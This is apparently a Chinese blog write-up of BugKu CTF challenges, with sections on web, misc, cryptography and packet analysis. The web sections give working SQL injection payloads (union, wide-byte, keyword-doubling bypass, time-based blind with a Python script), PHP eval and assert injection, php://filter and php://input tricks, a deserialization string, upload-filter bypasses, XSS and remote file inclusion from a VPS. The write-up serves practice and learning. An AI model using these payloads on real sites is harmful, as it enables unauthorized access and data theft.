BUGKU-CTF题解

前言

最近一段时间课比较少,做一做bugku的题目。传送门

杂项

签到题

加群即可

这是一张单纯的图片

hex一下之后得到 key{you are right} ,Unicode解码即可(我这个是被解码后的)

隐写

改变高度即可得到flag,将7对应的第二行A4改为F4即可。

telnet

wireshark跑一下然后追踪tcp流即可

google搜索图片可知那是刘亦菲(liuyifei)。

流量分析(cnss)

这个题目我觉得挺坑的,用wireshark分析一下,因为题目也没任何提示,而且包里面貌似是CSRF,所以就在往这上面想,但是也没什么收获,反正这题数据包少,就随手追踪了第一条碰碰运气,结果它的请求引起了我的注意:

GET /stat.htm?id=2724999&r=http%3A%2F%2Fspace.bilibili.com%2F17190571&lg=zh-cn&ntime=1490634009&cnzz_eid=418561883-1487085537-http%3A%2F%2Fwww.bilibili.com%2F&showp=1536x864&p=http%3A%2F%2Fspace.bilibili.com%2F17190571%2F%23!%2F&t=Chrstm%E7%9A%84%E4%B8%AA%E4%BA%BA%E7%A9%BA%E9%97%B4%20-%20%E5%93%94%E5%93%A9%E5%93%94%E5%93%A9%20(%20%E3%82%9C-%20%E3%82%9C)%E3%81%A4%E3%83%AD%20%E4%B9%BE%E6%9D%AF~%20Bilibil…&umuuid=15ab677e5a02ed-064c9a36304b67-27d1a36-144000-15ab677e5a4205b&h=1&rnd=1218637328 HTTP/1.1

请求网址里面有个space.bilibili.com ,感觉这应该是某个用户的个人空间,尝试访问一下,结果就在个人空间里个性签名看到了熟悉的base64,解码两次即可得到flag。

做个游戏(08067CTF)

下载之后是个游戏,直接二进制反编译一下,结果在PlaneGameFrame类里面找到了flag,记得flag还得再base64解码一下。

Web

web2

直接查看元素即可

文件上传测试

burpsuite抓包将图片文件改名为2.png.php即可

计算器

直接计算即可,问题在于输入框只能输入以为数字,查看元素将最大长度改为3即可。

web基础$_GET

payload ?what=flag

web基础$_POST

1
what=flag

矛盾

用%00截断即可?num=1%00adf,原理是==比较时只是对值的比较,会把不同类型转为同类型之后再行比较

Web3

阻止页面弹窗后查看元素,然后Unicode解码即可

sql注入

查看元素发现是gb2312的编码,测试?id=1%df’则会报错,说明是宽字节注入,
payload

1
?id=1%df' union select 1,string from sql5.key where id=1--+

域名解析

直接在linux下打开hosts文件,输入下列文档

120.24.86.145 flag.bugku.com

我在部分linux下不能用,不知道是为什么。

sql注入1

过滤了关键字,尝试用%00绕过

1
?id=-1 uni%00on sele%00ct 1,hash fr%00om sql3.key wh%00ere id=1--+

你必须让他停下

页面一直停不下来,尝试了禁用js文件,还是不行,尝试burpsuite构造参数多次抓包,然后查看返回页面里则可以得到flag。

网站被黑

题目给出提示 这个题没技术含量但是实战中经常遇到 ,打开后发现也没有什么泄露的问题,所以猜测应该是后台弱口令之类的问题,扫描了一下目录,发现有个shell.php,是个后台马,尝试了几个弱口令都不行,最终尝试爆破了一下,得到密码。(提示一下密码是四位)。

本地包含

页面有代码泄露

1
2
3
4
5
6
7
 <?php
include "waf.php";
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

方法一

变量request是一个http变量,可以接受post或者get和cookie的数组,代码中eval( “var_dump($a);”)存在可以利用的漏洞,可以把所要得到的文件dump出来。构造参数

1
?hello=file_get_contents('flag.php')

浏览器php代码被截断,f12查看元素即可得到flag

方法二

其中第一句话include “flag.php”可知文件包含在本地

还是利用 eval()函数,payload

1
1);print_r(file("./flag.php"));%23

%23的作用是注释掉eval函数后面的“)形成闭合。

strcmp比较字符串

这个题目的问题在于PHP在5.3版本之前,对于字符串比较函数strcmp(p1,p2)函数,如果p1>p2,返回>0;如果p1=p2,返回=0;如果p1 < p2,返回<0。但是如果传递到参数是个数组,那么函数会报错,则会return 0,相当于判断为p1=p2了。故payload为?a[]=1

变量1

本题考查可变变量,故payload为 ?args=GLOBALS,这里这个$$GLOBALS只能在eval中使用,却不能直接var_dump出来,不知道是为什么。

web5

jspfuck查看代码,直接将代码扔进控制台即可

头等舱

抓包查看请求头即可

管理员系统

修改xff本地登录,之后查看源代码发现最后一行有一段base64内容,解码之后是 test123 ,所以直接以这个作为密码登录试一下,然后就拿到了flag

web4

查看源代码发现有url编码的文本,按照 eval(unescape(p1) + unescape(‘%35%34%61%61%32’ + p2));语句拼接url编码并转码可得

1
2
3
4
5
6
7
8
9
10
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

查看代码可知将67d709b2b54aa2aa648cf6e87a7114f1提交即可。

flag在index里

查看元素发现有href=”./index.php?file=show.php语句,而题目又说flag在index里,所以应该是要查看index.php文件,burp抓包修改。payload

file=php://filter/convert.base64-encode/resource=index.php

输入密码查看flag

简答的弱口令爆破,密码13579

点击一百万次

post参数为1000000即可

备份是个好习惯

题目说了备份,查看index.php.bak可以下载到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

阅读代码可知,提交两个md5值相等而本身值不相等的变量即可,同时还有变量guolv,双写绕过即可,这里提一下,这儿的 REQUEST_URI的输入方式www.xxx.com/aaa/ ,那么aaa就是REQUEST_URI。本题payload

/?kekeyy1[]=1&kekeyy2[]=2/

成绩单

常规的SQL注入

1
2
3
4
5
id=1' order by 4%23 #爆字段数
id=-1' union select 1,database(),3,4%23 #爆数据库名
id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23 #爆表名
id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g'%23 #爆字段名
id=-1' union select 1,skctf_flag,3,4 from fl4g%23

秋名山老司机

这个题只能2秒内提交,所以写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re


url = "http://120.24.86.145:8002/qiumingshan/"
r = requests.session()
content = r.get(url).text
par = re.findall(r'(.*?)=.*?',content)
text = par[1][5:]
ans = eval(text)

payload = {'value':ans}
content = r.post(url,data=payload).text
print(content)

速度要快

这个题就是编程题,抓包就会发现有个flag值,被base64编码了,解之,然后查看元素

OK ,now you have to post the margin what you find

所以其实就是要提交margin值,但是这个题最骚的就是这个被base64解码后flag还需要在解码一次,也怪我,第一次解码后这个字符串倒是挺像base64的,怪我不够敏感,而且margin好像是css样式,应该解出数字才对。贴上代码

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import base64

url = "http://120.24.86.145:8002/web6/"
r = requests.session()
content = r.get(url).headers['flag'].encode('utf-8')
content = base64.b64decode(content)
content = content.decode('utf-8')[15:]
content = base64.b64decode(content)
payload = {'margin':content}
res = r.post(url,data=payload).text
print(res)

COOKIE欺骗

解码filename发现是keys.txt,base64编码index.php替换之,然后改变line的参数即可得到全部php文件进行代码审计,改变cookie为margin=margin,再把filename的值为keys.php(要base64编码),然后就OK了

XSS

这个题目是最简单的xss,所谓xss其实和sql注入差不多,这是xss用的是JavaScript语言,payload

1
?id=src="null" onerror="alert(_key_)"\u003e

never give up

看到提示有1p.html,但是查看会跳转,用view-source查看即可,然后恢复代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if(!$_GET['id']) //$_GET['id']为空时执行该语句
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>

发现有个txt文件,不管别的,先看一下再说,结果直接出了flag,这应该是题目的漏洞。下面说正解
查看代码,$a的绕过的话 a=php://input,然后postbugku is a nice plateform!$id==0的绕过话可以用 id=%00绕过, strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4的绕过可以用b=%00123456

参看PHP手册可以知道php://input是个可以访问请求的原始数据的只读流,一般用来获取POST请求。
对于id的处理有代码可知,如果提交id=0,那么前面 $_GET[‘id’]会被判断为空,无法从而使代码exit。所以可以用id=00或者id=%00绕过(字符串0在PHP中会被当做空值)
函数eregi()现已被弃用,存在%00截断漏洞,读到%00的时候,判断就截止了。

welcome to bugkuctf

访问元素发现源代码

1
2
3
4
5
6
7
8
9
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

text的绕过可以使用php的input协议流,file的话用PHP的filter过滤器即可

1
?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

读取到一段base64代码,解码得到PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

发现这是一个flag类,有个string方法,序列化即可使之执行。payload

1
?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

过狗一句话

查看源代码可知已经构造了assert语句,这个对于我来说是一个新知识点。assert和eval类似,可以进行命令执行,只是eval参数为字符串,而assert参数则为函数或表达式。构造命令来执行
?s=var_dump(glob(‘*‘))

函数glob(pattern,flag)可以匹配所有符合条件的文件

读取文件
?s=var_dump(file(‘./flag.txt’))

字符?正则?

这个正则表达式后面我得好好学一下了,有点菜。靠着百度大概搞懂了,介绍一些

[[:punct:]]为匹配任意字符,非字母和数字,.*为匹配任意字符,{m,n}为匹配字符m-n次,按照要求构造payload

1
?id=key.keyaaaaakey:/a/keya%

前女友(SKCTF)

查看页面可知,是一段单身狗的诉说,查看元素发现竟然藏了一条链接,点击发现代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

很简单的绕过

1
?v1=240610708&v2=QNKCDZO&v3[]=1

login1(SKCTF)

看提示可知本题是SQL约束攻击,具体原理查看传送门,创建一个用户

用户名 admin 1
密码 Aa123456

注册成功后用admin为用户名, Aa123456登录即可

1
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

你从哪里来

题目提示are you from google?,我以为是说浏览器,但实际上是说HTTP_REFERER,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。然后就是抓包发送即可,构造的referrer:

1
https://www.google.com

md5 collision

这题是简单的md5哈希的比较

1
?a=240610708

各种绕过

这题很简单,直接上payload

1
2
?id=margin&uname[]=1
passwd[]=123

注意第二行为post数据。

web8

代码审计与绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

要绕过的核心语句是$ac===$f,可以令 ac=flagfn处使用之前说过的PHP的input协议,本题payload

1
?ac=flag&fn=php://input

再post数据

1
flag

细心

看了一点提示,有点不好。这题一看页面没什么东西,随便尝试旁站robots.txt(就是这一步我没有做,唉,经验不足啊),扫描发现有个resusl.php页面,直接是x=admin即可(考验脑洞的时刻)

求getshell

对于getshell的题目做的不是很多,真的是有点迷。抓包更改后缀为 php2,php4.php5,测试发现php5可用,然后再把文件类型改一下

content-type: image/jpg

还得改个东西

Content-Type: Multipart/form-data; boundary=—————————————-265001916915724

把第一个m大写,有关介绍看个链接,这种绕过有点冷门,再放个链接2


INSERT INTO注入

这个题又让我学到了新知识,还顺便加强了一波脚本编写,本题考察的是 insert into注入,为什么存在注入呢

查看源代码,发现

1
$ip_arr = explode(',', $ip);

这句话一出, 说明就被过滤了,所以这题是一道不能使用逗号的注入,而且报错什么的都不行,所以只能延时盲注。由于本题逗号被过滤了,所以if函数不能用了,在此解锁一个新姿势

1
2
select substring((select user()) from 1 for 1);  #第一种方法
select substring((select user()) from -1); #第二种方法

如此就可以不用逗号截取字符串

对于判断条件,可以使用

1
select case when (条件) then 代码1 else 代码 2 end

这个前面数据库有介绍。
所以对于本题有两种payload:

1
2
insert into xs values(12'+(select case when binary substr((select flag from flag) from 1 for 1)='e' then sleep(5) else sleep(0) end) and 'a'='a')
insert into xs values(12'+(select case when binary substr((select flag from flag) from -1)='e' then sleep(5) else sleep(0) end) and 'a'='a')

再介绍一个绕过逗号的姿势:

1
select id,ip from client_ip where 1>2  union select * from  ( (select user())a JOIN  (select version())b );  --这个用于union 查询的注入

接下来就是写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string

url = "http://120.24.86.145:8002/web15/"
data = "12'+(select case when binary substr((select flag from flag) from {} for 1)='{}' then sleep(5) else 1 end) and 'a'='a"
flag = ''
start = 1
for i in range(1,35):
for item in string.ascii_letters + string.digits:
try:
headers = {"x-forwarded-for":data.format(str(start),item)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += item
start += 1
print(flag)
break

这是一个神奇的登录框

尝试输入 ,发现有报错,可以报错注入。而且题目什么都没有过滤。

ed6b28e684817d9efcaf802979e57ae
ed6b28e684817d9efcaf802979e57aea

1
admin_name=admin&admin_passwd=afd" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

1
admin_name=admin&admin_passwd=afd" and updatexml(1,concat(0x7e,(select flag1 from flag1),0x7e),1)%23

用这种方法的出来的flag不对,因为该错误返回的值长度不足,可以再用下列子句截出

1
admin_name=admin&admin_passwd=afd" and updatexml(1,concat(0x7e,substr((select flag1 from flag1),3,30),0x7e),1)%23

也可以联合注入

1
admin_name=admin&admin_passwd=af" union select flag1,2 from flag1%23

多次

这个题学到了新东西,题目很不错。这个题目过滤了许多关键字
刚开始输入 ?id=1’页面返回错误(但不是报错信息),添加 ?id=1’%23则没有报错,继续尝试 ?id=1’ and 1=1%23则又开始报错了,猜测可能是存在过滤,但不知道过滤的是什么。找到一个异或注入的方法


id后面输入 1’^(0)^’,此时页面正常返回,如果换一下 ‘^(1)^’,此时则会返回错误,那么接下来我们就可以试一下页面究竟过滤了那些关键字。比如 1’^(length(‘select’)!=6)^’如果被过滤则返回错误,没有被过滤就返回正确。
如此可以测得多个变量被过滤

select,union,or,and

但是from,where,order等变量没有被过滤。在尝试一下 1’^(length(‘selselectect’)!=6)^’页面返回正确,说明可以通过这种方法绕过。那接下里就开始常规操作。


1
2
?id=1' oorrder by 3%23   # 爆字段数
?id=-1' ununionion seleselectct 1,database() %23

注意information的绕过。

1
?id=-1' ununionion seleselectct 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23

最后得到下一个页面的地址

1
?id=-1' ununionion seleselectct 1,group_concat(address) from flag1%23

到了新页面之后,发现有报错,也会显示你的SQL语句,很简单就能看出很多都被过滤了,不过直接用报错就行了

1
?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23

看别人的payload使用了locate()函数

代码审计

strcmp比较字符串

提交数组即可绕过 ?a[]=1

数组返回NULL绕过

也是提交数组 ?password[]=123 ,因为题目中的函数都是只能处理字符串,如果传入的是数组则会报错返回 NULL达到绕过的效果。

变量覆盖

看代码可知,$c获取的是输入流里面的值,因为$b是字符串,所以获取的是控制,故只需要相应的输入空值即可。

简单的waf

没做出来,记录一下思路

题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$a=isset($_GET["a"])?$_GET["a"]:'';
$b=isset($_GET["b"])?$_GET["b"]:'';
$c=isset($_GET["c"])?$_GET["c"]:'';
$d=isset($_GET["d"])?$_GET["d"]:'';
$e=isset($_GET['e'])?$_GET['e']:'';
if(preg_match('/php/i', $a)){
die("This not allow pseudo protocol!");
}
if(preg_match('/\.\./', $a)){
die("This also not allow!");
}
if((file_get_contents($a,'r')===$b)&&(file_get_contents($e,'r')==="I'm Administrator!")){
echo "hello admin!<br>";
if(preg_match("/flag/",$c)){
echo "不能现在就给你flag哦";
exit();
}else{
include($c);
if(preg_match('/base64/', $d)){
die("No! you can't use it!");
}
$d = unserialize($d);
echo $d;
}
}else{
echo "you are not admin ! <br>";
}

首先变量a中不能出现php://等字段,显示我们不能使用PHP伪协议,但是这里可以远程文件包含,我们可以在自己的vps上写一个文件,然后a参数远程包含,再让b参数等于我们的文本内容就可了,对于e参数我们同样可以利用远程文件包含,在自己的vps上新建一个txt文件写入 I'm Administrator! 即可,payload如下

1
http://120.24.86.145:9010?a=http://vps_ip/index.html&b=<a>Hello World</a>%0a&e=http://vps_ip/a.txt

说一下坑点,在使用vim编辑文件的时候,他会默认在文件末尾添加一个换行符,这也是为什么b参数后面要添加一个 %0a(换行符) ,但是在e参数对应的代码中的 I'm Administrator! 可是没有换行符的,怎么办呢?百度找到了一个方法:

1、进入vim前,增加-b参数

1
vim -b a.txt

2、进入命令行模式,开启 set noeol
这样就不会在文件末尾添加换行符了。

c参数和d参数个人感觉思路是c参数包含一个PHP文件,然后d参数反序列化读取,题目还有一个flag.php文件,所以c参数应该就是要包含该文件,题目过滤了flag,可以用大写绕过 Flag.php ,但是这里应该有一个类来反序列化才对,我感觉应该是通过文件泄露来获取,但是尝试了好多次都不行,直接访问flag,会下载到一个文件,信息为

please call admin to get flag

不知道这是什么意思,题目到这儿就卡住了,所以payload只有

1
http://120.24.86.145:9010/?a=http://vps_ip/index.html&b=<a>Hello%20World</a>%0a&e=http://vps_ip/a.txt&c=Flag.php

加密

滴答 ~ 滴

摩斯解密可得bkctfmisc,提交即可,注意全部大写。

聪明的小羊

栅栏解密

ok

这段密文是一种ook语言,直接在线跑一下即可

这不是摩斯密码

brainfuck代码,在上一题那个网站跑一下即可。

散乱的密文

lf5{ag024c483549d7fd@@1}
一张纸条上凌乱的写着2 1 6 5 3 4

刚开始看到{前面有三位以为明文应该是key,顺着这个思路往下想,结果不对,后面注意到密文的2,1两位翻转一下是fl,6,5两位加上就是flag,于是再把3,4位放到原来5,6位的位置,那么前六位就是 flag{5 ,我们可以看到前六位进行的调整分别是1,2位交换位置,5,6位交换到3,4位顺序不变,3,4位调整到5,6位但是位置交换一下,于是把每六位分成一组,每组按照前述的方法做变换,最终可以得到flag

1
flag{52048c453d794df1}@@

贝斯家族

base91解码

社工

密码

根据生日姓名等猜测zs19970315

王晓明的日记

利用bugku在线密码生成工具生成密码字典测试一下即可

分析

flag被盗

过滤条件 http contains "flag",在第二条数据中即发现了flag

抓到一只苍蝇

首先查看一下http请求,在第一个就发现

本能的感觉这题和这个fly.rar应该有点关系,所以过滤一下 ‘http contains “fly.rar”‘

看到了题目的提示内容,感觉走对了,这个包应该是QQ邮箱的包,所以肯定是走post请求的,过滤一下获取rar文件包 http.request.method == POST

可以看到从第二个到第六个正式rar的文件内容,但是这五个文件的总长度却比fly.rar要大,应该有多余的头部,计算一下头部长度

(527521bytes – 525701bytes) / 5 = 364 bytes

把每个一次导出,然后用hxd去掉头部364字节,之后再合并一下

可以看到md5值是正确的,证明我们得到了正确的fly.rar文件,但是解压时却要求输入密码,猜测是伪加密,将文件头0x1674后面的84改为80。(84为加密,80/20不加密),解密之后有个TXT文件,binwalk,foremost一下,在图片中找到一个二维码,扫码即可得到flag。

信息提取

给的数据包是sqlmap注入的一个数据包,题目的意思是让我们从sqlmap的payload中恢复出数据,数据包的最后部分就是数据的记录,吧这部分分出来保存为a.pcap,将关键信息存入txt文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# import scapy
# from scapy.all import *
# from scapy.utils import PcapReader

# pcaps = rdpcap("a.pcap")
# file = open('1.txt','wb')
# for i in range(476):
# file.write(pcaps[i]['Raw'].load)

# 将流量包字段信息导出,之后在用sublime过滤只留下请求内容和response长度,示例如下

# GET /message.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28%60value%60%20AS%20CHAR%29%2C0x20%29%20FROM%20isg.flags%20ORDER%20BY%20%60value%60%20LIMIT%200%2C1%29%2C34%2C1%29%29%3E1 HTTP/1.1
# Content-Length: 166

from urllib.parse import unquote
import re

def is_rigth(x):
if int(x) > 4:
return True
else:
return False

with open('1.txt','r') as file:
ans = ""
req = file.readlines()
length = req[238:476]
req = req[0:238]
for i in range(len(req)//7 - 1):
num = int(re.search('>([0-9]{2,})',unquote(req[i*7+6],'utf-8')).group(1))
if is_rigth(length[i*7+6][-3]):
ans += chr(int(num+1))
else:
ans += chr(int(num))
print(ans)
# ISG{BLind_SQl_InJEcTi0N_DeTEcTEd}
-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!